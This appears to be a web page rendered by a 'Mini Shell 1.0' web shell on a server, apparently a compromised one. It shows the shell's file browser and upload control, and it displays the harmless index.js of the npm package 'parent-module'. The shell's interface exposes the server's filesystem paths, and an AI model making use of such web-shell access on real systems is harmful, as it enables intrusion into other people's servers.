HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991111/root/usr/share/node_modules/parent-module/
Upload File :
Current File : //proc/1991111/root/usr/share/node_modules/parent-module/index.js
'use strict';
const callsites = require('callsites');

module.exports = filePath => {
	const stacks = callsites();

	if (!filePath) {
		return stacks[2].getFileName();
	}

	let hasSeenValue = false;

	// Skip the first stack as it's this function
	stacks.shift();

	for (const stack of stacks) {
		const parentFilePath = stack.getFileName();

		if (typeof parentFilePath !== 'string') {
			continue;
		}

		if (parentFilePath === filePath) {
			hasSeenValue = true;
			continue;
		}

		// Skip native modules
		if (parentFilePath === 'module.js') {
			continue;
		}

		if (hasSeenValue && parentFilePath !== filePath) {
			return parentFilePath;
		}
	}
};